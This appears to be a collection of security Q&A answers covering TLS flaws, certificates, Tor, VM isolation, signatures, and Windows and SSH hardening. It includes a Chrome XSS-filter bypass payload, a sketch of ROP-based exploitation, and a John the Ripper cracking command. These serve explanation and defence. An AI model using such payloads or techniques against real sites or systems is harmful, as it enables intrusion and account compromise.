The included charset files are based on the default maximum length. You'll need to generate charsets for your target length:

john --pot=rockyou.txt --make-charset=alnum62.chr

Existing files will be overwritten, so you'll probably want to choose a different filename from the default.

More in this thread.


It really doesn't make a bit of difference.  The salt in no way needs to be kept secure.  There are arguably some very minor security advantages to it remaining secret (since it would provide some protection against cracking trivial passwords), but if your security is dependent on that, then your security is broken.

Additionally, the difference between being in the same column vs being in a different one is unlikely to make a bit of difference if the DB is compromised.  It might be minimally beneficial to put both in an encrypted column, but if they are two encrypted columns or one doesn't make much difference either.


If I protected myself from POODLE am I also protected against DROWN

POODLE is an abuse of a flaw in SSL 3.0. You are technically protected against POODLE if you disabled support for SSL 3.0.

DROWN leverages a flaw in SSL 2.0. You might be technically protected against POODLE, in the sense explained above, and still be vulnerable to DROWN.

Of course, SSL 2.0 has other flaws and it was already deprecated / forbidden; it has been so for a long time. The advice for POODLE was often worded as "deactivate everything that is older than TLS 1.0" and this includes SSL 2.0, but, honestly, SSL 2.0 should have already been deactivated, killed, and its corpse dumped at sea, long before POODLE. If you had to wait for POODLE to disable SSL 2.0, then you were already very very sloppy. There is no upper limit to sloppiness, so you are encouraged to test whether your server still accepts SSL 2.0. Just in case.


Does the CT system "enforce" CA's to log issued certificates?

It would not be noticed if a certificate is just issued. It would be noticed though if the certificate gets used in practice since the validation against the CT log will fail (it is not in there). And it will notice if there is no CT information in the certificate even though it is required for the CA.

For more see How will Certificate Transparency be enforced?


How secure is TRESOR on a virtual machine?

In a virtual machine environment, the debug registers will be dumped to the host's RAM while the VM is not running. This means that, in this environment, TRESOR adds no meaningful security. In fact, it may reduce overall security by placing sensitive encryption keys in a predictable location.


Does appending a hash of a timestamp to a randomly generated string make it less secure?

Adding the timestamp or even some constant string does not make the preceding random string less predictable by itself. But it might be if the attacker gets side information like the total length of the compressed string because in this case the less random part can be used to infer information about the random part. See for example the CRIME and
BREACH attacks.


You could use the Fletcher16 algorithm and - not really very secure at all, but still - provide it with a "secret" IV, if feasible.

BLAKE2 boasts pretty good speeds, so if you can't use it I'm afraid MD5-class security is unattainable -- all comparable alternatives would be even slower.

Reordering the data so that sensitive information is gathered together and Blakeing that block might be feasible, perhaps.

Or you could prepare a block with a device secret and a copy of the few fields you want to protect, then send the packet together with the BLAKE2 hash of the check block, which would not be sent.

Relying on security through obscurity (needless to say, not recommended) you could append to the packet the N-bit XOR of the key fields; or a random N-bit value plus the XOR of the key fields and the random value, yielding an apparently random 2N-bit field.


How should we set up domain administrators?

A possible solution:

have two administrative accounts

one of them has a random password which is written down, sealed and stored in a safe place outside of the reach of the admins
the other one can be used only though two-factor authentication, one of the admins gets the password and the other one - the certificate

set up privileged accounts for normal administrative operations, shared between these admins (and more, if needed) together with strong auditing.

You now have a situation where

normal admin tasks are handled by selected people, what they do is tracked and they cannot modify these logs
exceptional admin tasks are handled by the two admins at the same time, when they are together
in extra exceptional cases you can get to the safe/bank, get the sealed enveloppe and access a full-fledged admin account.

You need to account for disasters (someone, or some people are not available) and for conspiracy scenarios (the two admins work together against you)


Can a guest virtual machine be compromised by a virus on the host machine?

Yes, it can.

Any data stored on the virtual hard drives of the virtual machines is stored on the hard drive of the host system. When any VMs are in "suspended" state, their RAM content is also saved on the hosts hard drive. Any malware which can access these files can read and modify their content.

Another attack vector would be to target the hypervisor process directly and inject code into it. When one controls the hypervisor, one controls the virtual machines it executes.

A malware called Crisis has been spotted in the wild which targets virtual machine images on the machine it runs on. An attack from the host system circumvents most security features a guest system could have, which means that it would be almost impossible to harden a guest system against this kind of attack.


but I cannot find an option for a destination-address to restrict access to a single server.

This is interesting question. I didn't try that, but it looks like the same option could be used for the destination-address in the user certificates.

If it does not work, it is most probably because nobody thought about this use case so if you would like to see that implemented, you should get in touch with upstream developers, for example on their mailing list.

  Which makes me think that there may be some list of what some implementation supports, but I can't seem to find anything.

No, there is none. As far as I know, no other implementation supports the OpenSSH certificates yet.


Security loopholes while mapping .kube/config file on to docker as volume

If you give an application access to your Kubeconfig file you're giving it effectively your rights to every cluster defined in that file.
Kubeconfig files contain credentials for one or more clusters generally either as client certificates or as JWT tokens. An application with access to that file can then access those clusters.  If the application running in the Docker container is malicious they could possibly exfiltrate that information and try to access the clusters defined in your Kubeconfig file (assuming they can reach them at a network level).
You should make sure that you're happy to trust the application running in the Docker container with access to these credentials.


Malicious PHP script redirecting crawler traffic

I think this script is designed to accept a post from a remote machine. It then installs the content of that post on your server and redirects google to that data, whatever it is.

This hides the data from you, whilst using your site's SEO juice to power their content.

It is a very common type of infection, usually used to drive traffic to dodgy web sites ie grey market drugs.


This information could be revealed if you use caller ID and your Google account is configured to allow others to find your profile if they have your phone number.

First, note that even though you're calling through hangouts, caller ID information for your phone can still be sent by Google if you have a Google Voice account or your phone number is verified with Google. From Google's support pages:

  Show Google Voice number to call recipients

  When you make a call using Hangouts and have a Google Voice number, the recipient will see the call coming from your Google Voice phone number. You can see the phone number that will be shown to recipients when you open the Dialer tab > Dial Pad Dial pad icon.

  Show verified phone number to call recipients

  If you don't have a Google Voice number, you can turn on Outbound Caller ID on your Android device so your verified phone number shows to the recipient. Your calls from Hangouts will show your verified phone number when you make the calls on your Android or iOS device. When Outbound Caller ID is turned on, you can see the phone number that will be shown to recipients when you open the Dialer tab > Dial Pad Dial pad icon.

So with this feature enabled, people you call will have your phone number. Using that information, the supplier in question may have been able to look up your Google+ profile if you have the "Help people who have your number connect with you across Google services." setting checked on the Phone section of your Google Account Settings page.

Again, from Google's help pages:

  You can change your settings to help people who have your phone number find and connect with you on Google services, like Hangouts or Google+.

  To use these settings, make sure your My Account "Phone" page shows your current phone number.

  Help others connect with you on Google using your number

  You can make it easy for people who have your phone number to get in touch with you across Google services. For example, friends can send you a message or photo without having your email address or other contact information.

  To help people get in touch by using your phone number, follow these steps:

  Go to the My Account "Phone" page.
  Next to "Help people who have your number connect with you across Google services," check the box.


Differentiating Between First and Third Party Clients

It's possible to make this harder, but it is not possible to entirely prevent it - just tell developers to use your API but assume that it is possible for them to ignore your suggestion.

Google for an example offers a separate API for OAuth, which most websites/apps use, because that's what they are intended to use. However, it is still possible to create an app that logs "directly" into your Google account, if somebody really wanted to.


Blocking Tor at a network level is difficult, and anyone trying to do so will face a constant battle with the Tor developers. It's similar to the red queen effect between malware developers and AV researchers; every time an improved technique comes out to block Tor the developers will change the way it works.

I see Tor use as more of an endpoint control issue, and a user behavior issue rather than a network blocking issue. If you want to stop Tor then prevent it from being installed, and let users know the penalties for using it (providing you have an applicable AUP which says so).


Can OpenSSL decrypt the encrypted signature in an Amazon Alexa request to a web service?

First, Amazon and you are repeating a common but wrong trope; signature is not encryption with the private key -- not even for RSA, where there is enough similarity in the mathematical underpinning that it is dangerously appealing to think this even though there are vital differences in the actual schemes and trying to interchange them leads to very bad results, and totally completely not at all for other algorithms like DSA and ECDSA. See:
Trying to understand RSA and it's terminology?
Is encrypting data with a private key dangerous?
If the public key can't be used for decrypting something encrypted by the private key, then how do digital signatures work?
Understanding digitial certifications
Digital Signature and Verification?
With GPG, can you "decrypt" a file that hasn’t been encrypted?
Why should I sign data that's already encrypted?
Is encrypting data with a private key dangerous?
Does RSA encryption always pad small amounts of data to some larger size?
Encrypt with private and decrypt with public
https://crypto.stackexchange.com/questions/15997/is-rsa-encryption-the-same-as-signature-
https://crypto.stackexchange.com/questions/13107/symmetric-encryption-is-no-longer-necessary
https://crypto.stackexchange.com/questions/2123/rsa-encryption-with-private-key-and-decryption-with-a-public-key
https://crypto.stackexchange.com/questions/66148/digital-signature
https://crypto.stackexchange.com/questions/43894/asymmetry-between-public-key-and-private-key-
https://crypto.stackexchange.com/questions/55404/if-a-private-key-decrypts-what-its-public-key-encrypts-can-the-public-key-conve
(some of which I admit are hard to find unless you know what you are looking for).
That said, openssl rsautl can recover the signed (and padded) encoded hash from a signature using the -verify option, and the newer pkeyutl with (clearer) -verifyrecover; given your de-base64-ed signature in temp.sig and your publickey in temp.key:
$ openssl rsautl -verify -pubin -inkey temp.key <temp.sig |openssl asn1parse -inform der
    0:d=0  hl=2 l=  33 cons: SEQUENCE
    2:d=1  hl=2 l=   9 cons: SEQUENCE
    4:d=2  hl=2 l=   5 prim: OBJECT            :sha1
   11:d=2  hl=2 l=   0 prim: NULL
   13:d=1  hl=2 l=  20 prim: OCTET STRING      [HEX DUMP]:AE2F2DD493F3E58F62E9F20678D9A05B86E06F8A

Observe this is a SHA-1 hash, as stated on the Amazon page you link, not SHA-256, and does match the SHA-1 hash of your data -- from edit 3 or earlier, before Anders added spaces and newlines which makes the signature fail because the entire point of digital signature is to detect and reject any change to the signed data:
 $ openssl sha1 <temp.dat
 (stdin)= ae2f2dd493f3e58f62e9f20678d9a05b86e06f8a

and thus can be verified with dgst -verify
 $ openssl sha1 <temp.dat -verify temp.key -signature temp.sig
 Verified OK


How CloudBleed is different from HeartBleed?

Both Heartbleed and Cloudbleed were webserver bugs that returned sensitive data from buffers that they shouldn't have.  That's the similarity (and why they're both called "bleed".)

One major difference is that Heartbleed was a fault in openssl, which is a library in use by millions of web servers.  Fixing Heartbleed required each web server to be patched.  Cloudbleed is a flaw in a proprietary web server, and only impacts Cloudflare hosted sites.  Cloudflare owns all the servers impacted, and has patched them all.

Another difference is that Cloudbleed was fixed and patched quickly upon discovery, preventing attackers from studying the flaw in depth and figuring out possible ways to use the leaked data to further exploit the servers.  Heartbleed was studied in detail over the long time it took to patch all the servers, and it was discovered that memory containing information regarding the private key could be stolen.

Yet another difference is that the data leaked by Cloudbleed was in the ordinary data stream returned by the web server, and the leaked data could linger in whatever search engines might have cached it.  The data leaked by Heartbleed was only in response to a heartbeat request message, which is not normally requested or cached by search engines.  (Thanks to @gowenfawr and @Krazor for pointing this out.)


This is a nasty vulnerability that is very similar to a Dangling Pointer. In short, it allows a remote attacker to read and/or write to an arbitrary memory address.   This is a lot more valuable than just a simple stack based buffer-overflow, especially in exploiting modern systems.  A solid remote code execution exploit for this vulnerability has not surfaced to the public.  However Vupen, a well known exploit dealer,  may have developed such an exploit.

Because this is also a memory disclosure vulnerability you don't have to use brute force to bypass ASLR.  An exploit has been written to read the ASLR'ed memory address of where your payload is in memory.

There is still the problem of controlling the EIP. I haven't seen an exploit that does this, but it looks like it maybe possible,  perhaps with a GOT overwrite or corrupting the stack frame.

After you the EIP/RIP you have a few options.  One option is to use Return Oriented Programming (ROP Chain) to execute arbitrary code.  ROP Chains consist of useful "gadgets",  or segments of assembler within the application that perform a useful task and these tasks are chained together.   A common ROP gadget is controlling the EIP/RIP with a jmp edx. Another useful ROP gadget would be a call to system(), keep in mind that because of ASLR a ret2libc call to system() will fail because you don't know this function's address, hence the need for ROP gadget(s).  These are some simple examples,  however ROP chains can also be very complex.  ROP Chains are useful because they consist of code that must be executable and isn't randomized.  There are tools to help you find ROP gadgets within a target application.  In an application like Apache,  there are bound to be many useful ROP gadgets.

Or another option is to leak memory to find a memory address that you can place a payload.  Then defeat the NX bit (which might need a ROP chain) to make your payload executable and point the EIP/RIP to your payload.

Boom.


MITM in "Next generation" firewalls becoming a norm?

Sadly, it is both. i.e.,

Employee monitoring is a growing trend. Apparently many companies, large and small, want to monitor their employee activities in the name of security and risk management.
Vendors (both firewall vendors and other end-point agent based solution vendors) see the demand and cater to it.
Many IT managers who want to buy latest equipment (so that they can stave off obsolescence as long as possible) get this feature automatically. Once you have the feature, it doesn't take much justification to start using it.


Can Mallory see my command line options on Windows?

I cannot confirm this ability in Windows 10, however it is possible in Win 7,8.
Not only is it possible with Process Explorer, but also in Task Manager, and via command prompt with WMIC.

From superuser.com:

  Open task manager (by CTRL-SHIFT-ESC, CTRL-ALT-DELETE or any other method).

  For Windows 7 (and probably Windows XP):

  Go to "Processes" tab. The on the "View" menu, select "Select Columns...".
  Check the checkbox of "Command Line" and click OK. (You may have to scroll down to find it)
  For Windows 8:

  Go to "Details" tab. Right-click on any of the columns (eg. Names, PID etc.) and select "Select columns".
  Check the checkbox of "Command Line" and click OK. (You may have to scroll down to find it)
  A column of Command lines of will be added to the currently displayed columns.

  [...cut...]

  You can do it without Process Explorer, too, using Windows' WMI service. Run the following from the command prompt:

  WMIC path win32_process get Caption,Processid,Commandline


Is it necessary to verify that my order confirmation IDs are unique?

The probability of sampling the same random value twice from a uniform distribution depends both on how many possible values there are and how many samples you've recorded so far. You are unlikely to generate two identical IDs in the first 100 IDs you generate, but the probability goes up (somewhat counter-intuitively) the more IDs you make. This idea is referred to as the birthday problem.

As a rule of thumb you should expect that if you're sampling (with replacement) from a uniform discrete distribution of size n then you should expect to see your first repetition after around sqrt(n) samples. In your scenario that's about 10 million IDs.

In cryptography it's common to use an RNG to avoid repeat values. But it requires very large numbers. that make 369 seem insignificant. The minimum size of these numbers is probably between 192 bits and 256 bits. This assumes we're using a uniform distribution and a true random number generator (or some approximation of a TRNG).


Wildcard certificate generated for local CA do not work for the subdomains

The checking of the hostname is done in X509_check_host. This function calls the internal function valid_star to make sure that the given wildcard in CN or SAN can actually be used.

This function checks that wildcard-CN/SAN  like  * or *.com are treated as invalid since they are too broad. *.example.com is instead acceptable. Thus check is done by counting the dots inside the name and make sure that at least two dots are in there:

/*
 * The final label must not end in a hyphen or ".", and
 * there must be at least two dots after the star.
 */
if ((state & (LABEL_START | LABEL_HYPHEN)) != 0 || dots < 2)
    return NULL;

Based on this *.localhost is treated as a too broad wildcard specification and will not be used for the wildcard match. If you instead run your Makefile with DOMAIN=example.com it should be fine since this will result in a name of *.example.com which has two dots.


When generating PKI key pair with a smart card, who decides if the key is exportable?

The whole point of a smart card is that they private key is protected against extraction. There are ways to create the private key outside of the smart card and then import it into it in which case you have a backup.  But in your case the requirement is that the key has to be generated on the card itself which means it can only be used with the card.

  ... requires the use of a smart card for the generation of the PKI key pair. However, I would like to be in the possession of the private key, and not depend on a physical device... I don't need PKCS #11 security.

It does not matter what you want or what you feel you need. The CA decided that the certificates it issues need to be properly protected against misuse. It regularly happens that code signing keys gets stolen and misused to sign and spread malware and having the key only on a smart card is a good protection against this.

  ...  in the event PKCS #11 is not suitable in the future

PKCS#11 is an established standard and widely used. It is likely that your code signing certificate is long expired before PKCS#11 becomes obsolete.


Comparison between Firejail and Apparmor

AppArmor could be closer compared to SELinux than FireJail, but here's the differences.

The most important (IMO) is the level at which they run. FireJail runs as a program in userspace while AppArmor runs at the kernel level.

FireJail takes advantage of Linux namespaces to provide isolation on a user, mount, network, and process level. This isolation provides the application it's own sandbox to do whatever it wants in while preventing those changes from effecting the rest of the system. You can think of this being similar to a container like you said. Containers also use namespaces for isolation.

By contrast, AppArmor doesn't provide sandboxing, rather it limits what parts of the system the application can access. You're specifying specific resources an app cannot use. These resources are not isolated though, so two apps running with AppArmor with access to the same resource could interact.


What's the difference between Radius and Kerberos?

Kerberos will take verify your credentials and give you a "ticket" that you can use to prove to other systems/services that you are you. The ticket will expire, and doesn't contain your credentials. You have to be on the network for this to work. More information on Kerberos can be found here: MIT - Kerberos

RADIUS is a way to get on the network. You give your credentials, and they will be checked before you are allowed access to the network. More information on RADIUS can be found here: Wikipedia Entry

So when you are trying to access a network, you provide your credentials and RADIUS will check to see if you are allowed on the network. If you have wrong credentials, you don't get on.

After you are on the network, you will want to have access to other services, i.e. email. This is where Kerberos comes in. You authenticate to Kerberos, if you check out ok, Kerberos will give the ticket, (think of a pass) that you can use to access those other services without having to spread your actual credentials everywhere.


There are no standard ways around, but there are ways around. What exactly you have to do to get around will depend on the browser and on the version. On this link you can find some examples to get around the protection in Google Chrome:

http://blog.securitee.org/?p=37

The precondition on the examples at this blog post is that there are two GET parameters in the link which You can use for XSS. If an attacker would submit following for GET parameters a and b, Chrome will block it:

a=<script>alert(1)</script>&b=something

But if the a and b parameters are changed like this:

a=<script>void('&b=');alert(1);</script>

...Chrome will not detect the XSS. I tested it now and it works.


Leaving an encrypted Windows 10 machine on in the office. What are the issues?

We're encrypting some of the machines in the office with Veracrypt

Are you going to fully encrypt the machines or create an encrypted container? The reason I ask this will be clear below.

Use Teamviewer but with MFA, strong password and strong password to log into Windows

I am unsure but this isn't what MFA stands for. There are 3 factors of authentication - something you know (passwords/passphrases), something you have (tokens), something you are (bio-metrics) -
Since this is password authentication on two different apps the security will depend on:

Teamviewer: Make sure you're using a version of teamviewer which does not have known vulnerabilities. Using the latest version is usually advised
Windows:

The reason I asked you if you're going to do a FDE (Full disk encryption) or a container is because if you're going to fully encrypt the hard-disk is protects the data only if the HDD / computer is physically stolen - provided the computer is shutdown or at least rebooted and on the login screen of veracrypt.
If you create an encrypted container and dismount it - whoever logs in to the PC in whichever manner (locally or  over Teamviewer) will have to mount the encrypted container.

Unless there is risk of physical theft, only way Veracrypt or any other encryption program can add value (to certain extent) is if you create an encrypted container. In case you fully encrypt the hard-disk, keep the computer running and the DEV will login from home - I don't see any addition of security. It will help more, if the DEV unmounts the encrypted partition / container and mounts it from home again. However this again is minimal since if the computer if infected / compromised the key can be captured while being entered / data can be extracted while the partition is mounted

What I would advise you to do is to harden the system and network devices.

Remove all services you don't need on the system (disable them). You may refer to www.blackviper.com/service-configurations/ to help you in this.
Patch - Patch and Patch: OS, software on the system, BIOS, drivers - everything should be at it's latest release (production release).
Create a reduced right user and run teamviewer on that account. Let the DEV run his software from there. Set the UAC on windows to FULL.
Install Microsoft's EMET and set it to high. In BIOS / UEFI enable DEP (in windows enable DEP for all programs except mentioned below - don't mention any).
Install a good AV (Norton / Kaspersky) and configure the firewall to block all network traffic unless explicitly allowed (and required), drop protocols that you don't need to use. If you can enable logging on the machine for network traffic, do that. it may help in case of a compromise. This can be set up without any cost with syslog.
Disable:
autorun (autplay).
System restore.
Simple file sharing.
Dump file creation on BSOD.
Remote assistance (will be reactivated using AD).
Fast wake-up.
Hybrid sleep.
Put basic security policies using local policy such as complex password - require alt+ctrl+del at logon.
Following are some suggested settings - please check them for your requirement. I would recommend to disconnect the system from a domain and make it stand alone. It would help if you isolate the traffic to this machine using VLAN. Settings mentioned below are not for a PC connected to a DC.

Accounts: Block Microsoft accounts: Enabled
Accounts: Guest account status: Disabled
Account: Administrator account: Disabled.
Accounts: Limit local account use of blank passwords to console logon only: enabled
Audit: Audit access of global system objects: enabled
Audit: Audit the use of Backup and Restore privilege: enabled
Audit: Force audit policy subcategory settings (Windows Vista of later) to       override audit policy category settings: enabled
Audit: Shutdown system immediately if unable to log security audits: enabled
DCOM: Machine access restrictions: no remote access for all accounts
DCOM; Machine launch restrictions: no remote launch and remote activation for all accounts
Devices: Allow undock without having to log on: disabled
Devices: Allowed to format and eject removable media: administrators and interactive users
Interactive logon: Do not display last user name: enabled
Interactive logon: Do not require CTRL+ALT+DEL: disabled
Interactive logon; Machine account lockout threshold: 10 invalid logon attempts
Interactive logon: Machine inactivity limit: 300 seconds
Interactive logon: Prompt user to change password before expiration: 14 days
Network access: Allow anonymous SID/Name translation: disabled
Network access: Do not allow anonymous enumeration of SAM accounts: enabled
Network access: Do not allow anonymous enumberation of SAM accounts and shares: enabled
Network access: Do not allow storage of passwords and credentials for network authentication: enabled
Network access: Let Everyone permissions apply to anonymous users: disabled
Network access: Named Pipes that can be accessed anonymously: blank
Network access: Remotely accessible registry paths: blank
Network access; Remotely accessible registry paths and sub-paths: blank
Network access: Restrict anonymous access to Named Pipes and Shares: enabled
Network access: Shares that can be accessed anonymously: blank
Network access: Sharing and security model for local accounts: Classic - local users authenticate as themselves
Network security: Allow Local System to use computer identity for NTLM: : enabled
Network security: Allow LocalSystem NULL session fallbasck: disabled
Network security: Allow PKU2U authentication requests to this computer to use online identifies: disabled
Network security: Configure encryption types allowed for Kerberos: AES128_HMAC_SHA1, AES256_HMAC_SHA1, Future encryption types
Network security: Do not store LAN Manager hash value on next password change: enabled
Network security: Force logoff when logon hours expire: disabled
Network security; LAN MAnager authentication level: Send NTLMv2 response only, Refuse LM & NTLM
Network security: LDAP client signing requirements: Require signing
Network security: Minimum session security for NTLM SSP based (including secure RPC) clients: Require NTLMv2 session security, Require 128 bit encryption
Network security: Minimum session security for NTLM SSP based (including secure RPC) server: Require NTLMv2 session security, Require 128 bit encryption
36.Network security: Restrict NTLM: Incoming NTLM traffic: Deny all accounts
Network security: Restrict NTLM: NTLM authentication in this domain: Deny all
Network security: Restrict NTLM: Outgoing NTLM traffic to remote servers: Deny all
Recovery console: Allow automatic administrative logon: disabled
Recovery console: Allow floppy copy and access to all drives and all folders: disabled
Shutdown: Allow system to be shut down without having to logon: enabled
Shutdown: Clear virtual memory pagefile: enabled (check veracrypt for any conflicts with this setting)
System cryptography: Use FIPS compliant algorithms for encryption, hashing and signing: Enabled
System objects: Require case insensitivity for non-Windows subsystems: enabled
System objects: Strengthen default permissions of internal system objects :enabled
System settings: Optional subsystems: blank
System settings: Use Certificate Rules on Windows Executables for Software Restriction Policies: enalbled
UAC: Admin Appoval Mode for Built-in Administrator account: enabled
UAC: Allow UIAccess applications to prompt for elevation without using the secure desktop; disabled
49 UAC: Behavior of elevation prompt for administrators in Admin Approval Mode; 50. Prompt for consent on the secure desktop
UAC: Behavior of the elevation prompt for standard users: Automatically deny elevation requests
UAC: Detect application installations and prompt for elevation: enabled
UAC: Only elevate executables that are signed and validated: disabled
UAC; Only elevate UIAccess applications that are installed in secure locations: enabled
UAC: Run all administrators in Admin Approval Mode: enabled
UAC: Switch to the secure desktop when prompting for elevation: enabled
UAC: Virtualize file and registry write failures to per-user locations: nabled

Hope this helps, system can be further secured by controlling what websites are being surfed to, drop the rights of the browser (you don't need to do this if you're allowing the DEV to logon to a limited privilege account) and files being opened. If you can disable Adobe Flash, Reader and Java it will help immensely. You can also block above mentioned apps from internet activity (except flash) if they're absolutely needed.

In the long run please have some sort of remote login service (Microsoft RDP is great and I feel you should explore it if your version of windows 10 is professional) enabled that has ability to take secondary credential from a token device (since the user will not be present in person, bio-metrics cannot be used).

Hope this helps.


How safe is it to use a Linksys WAP54G Access Point?

The Linksys WAP54G has two listed CVE security vulnerabilities that are rated 10/10 in severity.

CVE-2010-1573 and CVE-2010-2261.

The details say that versions 3.04.03 and earlier are vulnerable to both.

In the case of CVE-2010-2261, the presence of hardcoded credentials would allow any attacker able to send and receive web traffic to access dedicated debug web pages that give a root shell.

As for CVE-2010-1573, the presence of hardcoded credentials allow any remote attacker to access the router, escalate privileges, and gain complete control.


My school wants to keep the details of our door authentication system a secret. Is that a good idea?

Obscurity isn't a bad security measure to have in place. Relying upon obscurity, as your sole or most substantial security measure, is more or less a cardinal sin.

Kerckhoff's Principle is perhaps the most oft-cited argument against implementing security through obscurity. However, if the system is already properly secure according to that principle, this is mis-guided.

The principle, paraphrased, says "assume the enemy knows everything about the design of your security systems". This does not in any way imply "tell the enemy everything about your system, because they know anyway".

If the system is already well-designed according to Kerckhoff's Principle, the worst that can be said about applying security through obscurity to it is that it adds little to no value. At the same time, for such a system, there is equally little to no harm in protecting the confidentiality of its design.


Mozilla Firefox: "Builtin Object Token" vs "Software Security Device"

In response to a similar question posed by David E. Ross in 2011, Brian Smith (Mozilla developer) and Kathleen Wilson (Mozilla CA Program Manager) confirmed that:

Builtin Object Tokens are root certificates in the default Network Security Services (NSS) database as installed on the user's PC when the user installed the software (e.g., Firefox) that uses them.
A BuiltIn Object Token will continue to be [a Builtin Object Token], even if
the user changes the trust bits.
A Software Security Device can hold all kinds of certificates, not just root certificates.
For the Authorities list in the Certificate Manager, the certs that
are  labeled "Software Security Device" are root and intermediate
certs that  have been imported (e.g. not in the default list). The
intermediate  certs are often automatically imported, such as when you
visit a website  with an SSL cert signed by an intermediate CA.


Is there an added risk in passing session token in message body?

You're right in assuming that there won't be any extra risk sending the token in the body when you're already sending it in the headers. I question why you would need to send the token in two places, but as far as sniffing traffic it won't be any easier for an attacker to read body traffic than header traffic. If you're sending the traffic over HTTP as opposed to HTTPS you're vulnerable to a man in the middle attack either way.


According to the Drupal advisory:

  This vulnerability can be exploited by anonymous users.

According to this answer:

  I can confirm, that this vulnerability will work with every Drupal 7.31 and lower site, doesn't matter which modules are active. Every drupal form could be used to exploit this vulnerability.


Is a threat model totally subjective or can it be based on objective guidelines?

"don't open attachments from suspicious senders" is not the kind of thing you would put in a threat model.  The threat is what may be in the attachment.  It's a threat no matter who sent it (and don't assume that it came from the specified email address).

Also, there's a difference between identifying threats and mitigating threats.  Yes, the hardware may be compromised, and you can identify that in your threat model, that doesn't mean that you actually do anything about it.  Basic risk management: avoid, mitigate, accept or transfer.  At some level, everyone accepts risk.  It's unavoidable.  Identify your most likely threats, figure out your budget.  For each threat, figure out the cost to avoid, mitigate and transfer and then determine if the cost is inline with the risk.  If it is do it, if it's not then accept the risk or get a bigger budget.

Finally, budget isn't always about money, it's often time.  If your #1 risk takes ten times longer to mitigate then your #2 and #3 combined, but your #1 risk is just slightly riskier than #2, which is slightly riskier than #3, then accept #1 and deal with #2 and #3.

There is no formula for this, it's about judgement.


Hardening SSH security on a Debian 9 server

There are a number of things you can do:

Set up a private key that uses a key-stretching algorithm to protect brute-forcing the passphrase.
Configure AllowUsers in sshd so only named accounts can gain access
Use fail2ban or fwknop to further prevent outside attacks (remember that CVE-2008-0166 caused Debian users to generate only one of 32,767 possible keys)
Actively monitor your machine for attacks


Decline any custom ssl certificate in a mobile application

If you're the application developer the best you can probably do is pin the certificate, meaning if you see any certificate other than a specific one you know and trust (e.g. by comparing thumbprint or public key), drop the connection and get out of there.

Otherwise you're relying on a system that you have proven to be broken, as per your example. There are some practical issues with your attack though, in that installing a root certificate is a wee bit more complicated than a single click and hopefully users aren't that dum--nevermind.


Never use Tor two times in a row!
This will deanonymize you very quickly. A single Tor process will ensure that it never uses the same relay for both your guard and your exit. If you do Tor twice in a row, the first process might select a relay for your guard, and the second process might select the same relay as your exit, effectively turning a highly-secure anonymity network into a cheap one-hop proxy. Because exit relays change every 10 minutes, the chance that you will get a "short circuit" that deanonymizes you increases greatly as time elapses. This is not a problem if you only use one Tor instance.
Put another way, process A chooses relays A1, A2, and A3 such that A1 ≠ A2 ≠ A3. Process B chooses relays B1, B2, and B3 such that B1 ≠ B2 ≠ B3. Because process A and B are not aware of what relays the other has selected, you may find yourself in a situation where A1 = B3!


Why do browsers have no built-in features to verify the integrity of downloads?

Because it's not needed.

All protocols which are commonly used to download files either have a buildin mechanism to ensure integrity of the data stream or rely on a lower-level protocol (like TCP) to provide this. This is a reliable precation against accidental corruption of files in transfer.

When it comes to intentional corruption of files by a man-in-the-middle: Any attacker which can modify the data-stream of the download itself can very likely also modify the data-stream which is used to transfer the checksum, so it would not be an efficient security precation.

Such checksums only make sense when the website which advertises the file and the website which hosts the file are under control of different entities, like when you outsource your downloadable files to a 3rd party filehoster. But to automatize this, we would need a protocol which gives one server the authority to tell which files on another server are authentic. Such a protocol would have plenty of abuse potential.


Storing application secrets safely on Linux

Your service should not run as root generally. Using a separate user to store the secret is a wise precaution, but storing files with root ownership is no better for secrecy than using another dedicated user for this. As long as your secret file has permissions 600 or less it will be safe from other non-root users. Anything running root has full access anyway. (unless you are running some complex SELinux setup)

It may be helpful to use two users for this single application to isolate secret management from normal operation. Either have two daemons running with real-time communications, or have utility commands to operate on the secret, gaining the necessary privilege (user or group-based) via sudo.

You should consider potential attack vectors.

SQLi if properly configured does not grant filesystem access, but Path Traversal attacks could. There are other types of attacks on your application that you should secure against.
Exploits in C libraries (i.e. OpenSSL running your HTTPS encryption, image processing, etc.) might be possible. Using a separated user on network-exposed processes can help limit the scope or add difficulty to an attack.
Break-ins from other attack vectors could be an issue. (SSH, other services on the machine) Make sure anything with the potential for root access is well secured.

All of these considerations should help you to secure the secret itself. Now the question is, does the secret really need to be stored in plain?

At the most basic level, yes, the secret must be stored somewhere for it to be usable. It at least has to be stored in Memory, but also permanent storage of some kind is necessary.

Beyond of user separation we've discussed, it could be helpful to off-load secrets to a separate Hardware Security Module, or even a separate mini-computer. (i.e. Raspberry Pi) There is some discussion of physical separation here.

There are very few cases where the secret can be encrypted itself in permanent storage.

If your concern is hard drive theft, (leaving the rest of the machine behind) then you could have a boot-up script that queries some of the other hardware for unique identifiers, and derives an encryption key using a good Password-Based Key Derivation Function; to decrypt the secret.

If the client can provide a portion of the secret, that would be the helpful. I've outline a way to derive decryption keys from user passwords and session tokens here. This is an elaborate yet effective system which focuses on limiting the amount of time a secret is stored, even in Memory. (assuming you do not require an automated password reset)


Emails are forwarded to wrong addresses and possible hacking?

Any of those 3 could be responsible, or it could be someone entirely different.

You have no way of knowing, and possibly no way of finding out, as the perpetrator may not even be in your country.

I wouldn't think your email address has been compromised though - nothing you have said indicates compromise.

It just looks like a scammer is being clever with domain names.


Can anyone tell if a wireless router is plugged into an Ethernet port (without actually seeing it)

A basic router is both a network switch and another local system with an IP address. Things vary depending on how the router was configured, and how the network was configured, and what level of surveillance is applied.

The "switch" part is nominally undetectable at the software level: a switch is a relay system, which does not have a MAC address, let alone an IP address, and it is passive: it produces no ethernet frame on its own. What the network admin might detect is that a device has been plugged: when a device is plugged, the LED on the network switch at the other end of the wire goes up, indicating an active link. If the router has been plugged into a normally "empty" plug, then this could be detected, at least if the network switches have extended reporting capabilities or the sysadmin is enough of a maniac to count the LEDs on his switches every morning. Correspondingly, the "attacker" (by which I mean "whoever plugged the router") may make himself less detectable by replacing an existing machine with his router: unplug a desktop system (or a printer), put the router in its place. Of course, this makes the unplugged system unavailable, which may show up on the sysadmin radar, depending on what that system usually does.

Then comes the "system with IP address". Now we must look at what a typical home router offers and how it behaves. The router has three kinds of "ports":

The "uplink port" which is normally linked with the ISP-provided modem (cable, ADSL...).
The "ethernet switch": the other RJ45 plugs on the router.
The "WiFi port", i.e. the over-the-air wireless LAN.

Most routers will maintain a bridge between the ethernet ports (other than the uplink port) and the WiFi, so that we may consider, for the purposes of this question, that the WiFi and the ethernet ports are equivalent.

